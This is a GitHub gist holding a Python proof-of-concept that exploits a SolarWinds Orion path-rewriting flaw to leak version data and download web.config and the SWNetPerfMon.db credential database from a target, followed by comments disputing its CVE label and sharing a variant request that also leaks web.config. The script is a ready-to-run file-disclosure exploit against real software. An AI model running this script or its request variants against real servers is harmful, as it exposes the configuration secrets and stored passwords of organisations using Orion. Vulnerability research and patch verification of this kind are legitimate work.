Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Solarwinds_Orion_LFD local file disclosure PoC for SolarWinds Orion aka door to SuperNova?)
# CVE-2020-10148 (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? )
# @0xSha
# (C) 2020 0xSha.io
# Advisory : https://www.solarwinds.com/securityadvisory
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip
# Details : https://kb.cert.org/vuls/id/843464
# C:\inetpub\SolarWinds\bin\OrionWeb.DLL
# According to SolarWinds.Orion.Web.HttpModules
# in case of special strings this will set auth to null user and if case of ending with .i18n.ashx it will read the files
'''
private static void OnRequest(object sender, EventArgs e)
{
HttpApplication httpApplication = (HttpApplication)sender;
HttpContext context = httpApplication.Context;
string path = context.Request.Path;
if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0)
{
if (context.User == null || !context.User.Identity.IsAuthenticated)
{
context.SkipAuthorization = true;
context.User = new NullUser();
}
return;
}
if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase))
{
if (context.User == null || !context.User.Identity.IsAuthenticated)
{
context.SkipAuthorization = true;
context.User = new NullUser();
}
LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);
return;
}
if (!path.EndsWith(".i18n.ashx"))
{
return;
}
string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);
string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);
context.RewritePath(path2);
}
private static string RebuildPath(NameValueCollection nvc, string revisedFile)
{
return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys
where x != "file"
select x into key
select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());
}
'''
#/usr/local/bin/python3
import requests
import sys
if len(sys.argv) < 2:
print ("[*] Usage : CVE-2020-10148.py http(s)://target")
exit(-1)
if not(sys.argv[1].startswith("http://")):
if not(sys.argv[1].startswith("https://")):
print("[-] target starts either with http:// or https://")
exit(-1)
print ("[*] Trying to leak valid file version")
target = sys.argv[1]
# appending .js to always invalid file
# we don't verify because of self-signed instances
# not really required but doesn't hurt either.
leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)
if(leakVersion.headers["location"]):
print("[+] Got location header")
index = leakVersion.headers["location"].index(".i18n.ashx")
leakedVersion = (leakVersion.headers["location"][index:])
if (leakedVersion.__contains__("v=")):
print ("[+] Version seems valid")
else:
print("[-] Invalid version")
exit(-1)
else:
print("[-] Can't get a valid version")
exit(-1)
print("[*] Trying to leak web.config file ")
#print(target+"/web.config"+leakedVersion)
leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)
#print(leakedConfig.status_code)
if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :
print("[+] Target is vulnerable Got the web.config file ")
outputFile = target.replace("https://","").replace("http://","")+"_web.config"
configFile = open(outputFile,"w")
configFile.write(leakedConfig.text)
configFile.close()
print("[+] web.config written to : " + outputFile )
else:
print("[-] Failed to download web.config target is not vulnerable")
exit(-1)
print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")
# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US
# C:\inetpub\SolarWinds\SWNetPerfMon.db
# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db
leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)
if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:
print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")
outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"
configFile = open(outputFile,"w")
configFile.write(leakedDB.text)
configFile.close()
# encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform
print("[+] SWNetPerfMon.db written to : " + outputFile )
else:
print("[-] Failed to download SWNetPerfMon.db target is on newer version")
exit(-1)
@Protector47

This comment has been minimized.

Copy link

@Protector47 Protector47 commented Dec 28, 2020

Cool..

@kumaresh0617

This comment has been minimized.

Copy link

@kumaresh0617 kumaresh0617 commented Dec 29, 2020

Nice 👍

@wdormann

This comment has been minimized.

Copy link

@wdormann wdormann commented Dec 30, 2020

While the local file disclosure by appending .i18n.ashx with expected parameters is indeed a thing, I wouldn't call it CVE-2020-10148.
CVE-2020-10148 is:

  1. Only fixed as of December, 2020
  2. An authentication bypass via hitting code that sets context.SkipAuthorization = true

While this PoC does check for a vulnerability, and can uncover out-of-date systems, calling it CVE-2020-10148 is probably just going to add to confusion.

@lamoni

This comment has been minimized.

Copy link

@lamoni lamoni commented Dec 30, 2020

I don't believe this is the same as CVE-2020-10148, but glad to be corrected.

@0xsha

This comment has been minimized.

Copy link
Owner Author

@0xsha 0xsha commented Dec 30, 2020

@wdormann @lamoni Interesting. As vulnerability is patched any guess on the correct CVE then ?
updated file names anyway to avoid possible confusions.

@wdormann

This comment has been minimized.

Copy link

@wdormann wdormann commented Dec 30, 2020

I have reason to believe that SolarWinds may document fixed CVEs in release notes in the near future.
What exactly this may look like is anybody's guess at this point.

CVE-wise, what was fixed in December (and earlier) has gaps. But hopefully that'll be addressed soon.

@barrett092

This comment has been minimized.

Copy link

@barrett092 barrett092 commented Dec 30, 2020

Can download web.config on version: 43186.71.L
But can't download SWNet DB file.

Assuming versioning.

@0xsha

This comment has been minimized.

Copy link
Owner Author

@0xsha 0xsha commented Dec 31, 2020

@wdormann Thanks ! let us know if you find out. @barrett092 I think you are right I also have same the assumption.

@V0Dien

This comment has been minimized.

Copy link

@V0Dien V0Dien commented Jan 4, 2021

@barrett092 @0xsha, I figure out that web.config path is in: C:\inetpub\SolarWinds, and the code exploit this path so you can download and read any files in here.
For SWNet DB file, the path is: C:\Program Files(x86)\SolarWinds\Orion\ that is reason why the code can't get the file.

The powershell code by Solarwind also prevent the exploit, cause it will rewrite and block any request to i18n.ashx.

That all my information after run and try to exploit.

@nathanqthai

This comment has been minimized.

Copy link

@nathanqthai nathanqthai commented Jan 5, 2021

It appears that in some cases you can leak the web.config with arbitrary l and v parameter values web.config.i18n.ashx?l=anythingx&v=anything.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment